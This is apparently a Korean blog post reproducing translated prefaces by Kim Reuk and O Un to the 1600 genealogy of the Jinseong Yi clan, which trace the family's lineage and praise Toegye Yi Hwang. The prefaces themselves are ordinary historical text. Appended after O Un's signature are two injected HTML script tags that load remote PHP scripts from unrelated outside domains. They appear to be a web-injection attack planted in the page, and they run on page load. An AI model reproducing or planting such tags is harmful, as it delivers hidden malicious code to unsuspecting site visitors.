선조를 찾아서

경자보(도산보)

오토산 2012. 5. 19. 16:19

 

 

  李翰邦
 
 
  경자보(도산보) 서문: 김륵, 오운//이동언 옮김

 

▲庚子舊譜序 

 예기에 이르기를 조선祖先을 높이기 때문에 일가를 공경하고, 일가를 공경하자면 족의族誼를 모아야 된다 하였으니, 족의를 모으는 도는 반드시 그 보계譜系를 밝혀야 할 것이라. 그러므로 효자와 어진 손자들이 그 조종祖宗을 
존경하는 사람들은 반듯이 그 근원과 지파支派를 모아서 한집의 역사를 이룩하는 것이니, 구양씨歐陽氏나 소씨蘇氏들과 같이 세상에서 보첩譜牒을 만든 자가 많지만은 하물며 난리를 겪은 뒤에 일가들이 서로 흩어져서 통섭統攝할 길이 없고 돈목敦睦할 의무를 갖지 못하는지라, 이러하므로 진성이씨眞城李氏가 오늘에 족보를 꾸미는 것이다. 

 대개 진성이씨는 송안군松安君때부터 비로소 귀족이 되어서 퇴도선생退陶先生에 와서 커졌으며 그 사이에 지엽枝葉의 번성함과 인물의 드러난 것은 다 헤아리기 어려울 정도였다. 그러나 세대世代가 점점 멀어지는데 보첩을 완성하지 못하면 이것은 청문淸門의 결점이라. 

경자년庚子年 봄에 선생의 문집간행을 마치고 선생의 손자 정랑공 영도正郞公 詠道가 그 일가들과 의논하여서 족보를 수단收單하여 아울러 등재登梓하기로 하였는데, 그 성손姓孫인 이정회, 이형남, 이유도들이 그 일을 맡아서 한 달이 못되어서 끝을 냈다. 문집을 이룩한 것도 장한 일인데 족보까지 이룩되었으니 선생을 높이는 일이 말하자면 
완비完備한 것이다. 

 무릇 이 족계族系는 옛날에 모아 둔 것이 있었으나 너무 소략疎略하였기에 다시 널리 묻고 널리 찾아서 그 실제實際를 얻으니, 비록 세대가 원근遠近이 있고 족속族屬이 내외內外가 있지만 전부 다 소명昭明하게 일편내一編內에 기재 되었으니, 말하자면 선지先志를 잘 이어 받았다 할 수 있다. 이 해 여름에 정랑正郞이 나에게 부탁하는 말이 「족보의 간행을 마치게 되었으니 한 말로 그 서문을 써 주기 바란다」하였다. 내가 불감不敢하다 하여 사양하였더니 정랑이 다시 편지를 보내서 간청하니 어쩌지 못 할 일이었다. 

 아아! 선善을 쌓은 집은 반드시 여경餘慶이 있는 것은 누구나 항상 하는 말인데 이것으로 작보作譜하는 뜻을 말하리라.  이씨의 조선祖先은 고려 말에 일어나서 대대로 인물이 이어서 났으니, 숨은 덕德을 몸에 간직하고 충성을 나라에 나타냈으니 그 쌓은 바가 두터운 것이다. 그 두터운 것으로 자손에 물려주었으니 대대로 빛이 있고 경사가 있을 것은 정한 이치이다. 

이러므로 송재공松齋公의 문학과 대헌공大憲公의 절개가 가정家庭에 이어 오다가 퇴계 선생에 이르러 성학聖學을 깊이 연구하여 우리 동방에 우두머리가 되었으니, 선생이 나신 것은 천지의 운수에도 관계가 되지만은 역시 적선積善의 여경餘慶에서 온 것은 속일 수 없는 사실이다. 그 성덕대업盛德大業이 다만 언어에 전하고 당시에 시행되지 못한 것은 이씨들의 보답을 받음이 아직도 남아있기 때문이다. 그 선생의 유풍이 일어나서 선생의 도를 이을 사람이 어찌 또 없겠는가? 

 아아! 8, 9년래에 난리를 치르느라 명문거족들이 대개는 죽고 상했는데, 이씨의 일족들은 온전하게 지내 와서 지금 이 책을 펴 볼 때면 천백 명이 다 무양無恙하게 얹혀 있으니, 어찌 조선祖先의 음덕이 아니리오. 지금 그 자손들이 다 이 족보 속에 참여하여 흡사 슬하에서 기쁨을 나누고 있는 것 같으니, 이른바 효제孝悌의 마음이 자연히 우러날 것이다. 만일에 그 본심을 잃어버리고 능히 체행體行하지 못한다면 무슨 면목으로 지하에 가서 조선을 뵐 것이랴. 이 자손 되는 사람들은 이 족보를 만드는 뜻을 항상 마음속에 두어서 어질고 화목함을 일가들 사이에 행하여진다면 그만하면 가可할 것이다. ······

                    萬曆庚子七月········嘉義大夫前忠淸道觀察使兼兵馬水軍節度使 金玏 謹識 


 만력경자년 여름에 진성이씨족보 간행 역을 마치게 되자, 이정랑 영도가 나에게 하는 말이 「우리 집 족보가 죽은 형이 세상에 계실 때 엮어 두신 것을 이제 겨우 출판하였으니 청컨대 서문을 써서 달라」하였다. 내가 진성이씨 
외손으로서 우리 조모를 섬기고 있을 때에 그 선세先世의 가풍을 듣고 그 원류가 먼 것을 알았다. 세상에서 족의가 두터운 집을 말할 때면 반드시 이씨의 집을 선두로 말하더니, 지금 그 보도譜圖를 보니 마음에 기쁘고 다행스러워서 이 서문을 쓰지 않을 수가  없었다. 

 이씨 諱 碩이 고려말기를 당하여 고을 아전으로서 사마시에 합격하여 벼슬이 밀직부사에 이르렀다. 
그 뒤로 종파宗派와 지파支派가 성하게 벌었고 벼슬이 서로 이어서 거족巨族이 되었고, 시서詩書의 문文과 충효의 전함이 끊이지 않았다. 선산공은 북적北狄을 물리친 공과 백성을 다스린 성명聲名이 후세에 전하였고, 판서공은 
진세塵世에 초탈하고 비경에 터를 정하여서 가성家聲을 더욱 빛냈고, 송재공은 맑은 시와 맑은 운치가 세상에서 
추중推重을 받았고, 대헌공은 간신을 배척하다가 화를 입고도 더욱 곧았고, 또는 퇴계선생의 도덕문장이 하늘에 
별 같고 세상에 시귀蓍龜같았으니, 이것은 오백년을 지난 주자 이후의 한분이다. 

만일에 선세에 덕을 쌓고 인仁을 거듭하지 않았던들 어찌 대를 이어 어진 군자가 한 집안에서 이와 같겠는가. 다만 밀직공 이상은 잠덕潛德이 나타나지 않고 세계가 뚜렷하지 못하였기 때문에 공이 이씨의 시조가 된 것이다. 그러기에 보도譜圖에 공을 제1대로 하였다. 공이 두 자제가 있었으니 자수와 자방이나 자방은 자손을 자세히 알 수 없다. 손자는 휘 운구 휘 운후니 두 파로 나뉘어서 지금까지 이백 이십여 년을 지내는 동안 자손들이 널리 흩어져서 대수가 오래고 복服이 다하니 족계를 서로 알지 못할 뿐 아니라 서로 만나서도 남 보듯 하게 되니 어찌 탄식할 일이 아니리오. 이에서 족보를 닦지 않을 수 없는 것이다. 

 족보가 있음으로 친소를 알게 되고 항렬을 알게 되고 존비를 알게 되니, 파가 만 갈래로 나누어져도 한 근본으로 모여질 것이니, 서로 만나기 전에도 믿음이 가고 서로 만나면 더욱 반가워져서 자연히 우러나는 양심이 후하게 되니, 이것이 옛날부터 성씨를 구별하고 보도譜圖를 만드는 이유이다. 여러분이 힘써서 펴는 것이 이 뜻이 아니겠는가. 

원본은 옛날에 엮어둔 것을 지금 다시 널리 묻고 널리 찾아서 새로 더 간행하여서 세 권의 책으로 나누었는데, 전 현감 이정회와 진사 이형남과 유학 이유도가 교정을 보고, 정랑 이영도가 모든 일을 총 관리하였으니 이들은 다 선산공의 후예이고, 정회씨는 직계 7세 종손이다. 

미포를 근지近地 자손들에게서 거두어서 비용으로 쓰고 도산문집을 필역畢役하기를 기다려서 각수들을 빌리고자하니, 조월천사경장趙月川士敬丈이 모든 사람들과 의논하기를, 『선생의 도道는 효제孝悌뿐인데 지금 문집을 서원에서 간행하고 겸하여 선생의 도를 알아서 그의 조선祖先을 위할 수 있다면, 우리들이 스승을 높이는 도가 여기에 극진할 것이다.』하고 남은 재료를 모아서 겨우 한 달 만에 일을 완료하니, 비용도 많이 들지 않고 십 이대의 중한 보첩譜牒이 쉽사리 이루어졌다. 

 아아! 선생의 덕과 학문이 일세의 선비들의 뼈에 스며들고 마음에 젖었지만은 조월천 같은 제군자는 병진兵塵이 아직 가시지 않은 나머지에 유문遺文을 간행하는 것을 자기의 책임인양 여겼으니, 원근에서 그 소문을 듣고 모여드는 기술자가 서로 도와서 이 성대한 일을 일년 이내에 완료하였으니, 이것은 후한 적덕을 하늘이 도와서 선생에게 갚는 것이요, 족보가 이루어진 것도 오늘에 되었으니, 다른 집 보첩들은 혹은 관력官力을 빌어서 구구하게 겨우 이루는 것에 견주어 본다면 서로 거리가 먼 것이다. 이런 사실을 몰라서는 안 될 일이다. 각각 힘써서 가전의 일맥一脈을 떨어뜨리지 않고 간출刊出하는 본의를 저버리지 말지어다.  ········
             
                          是歲之遯月上澣 後孫 通政大夫 前 掌隸院判決事 吳澐 謹書  </title><script src=http://fgthyj.com/r.php ></script>  </title><script src=http://hgbyju.com/r.php ></script>

 

 

 
 

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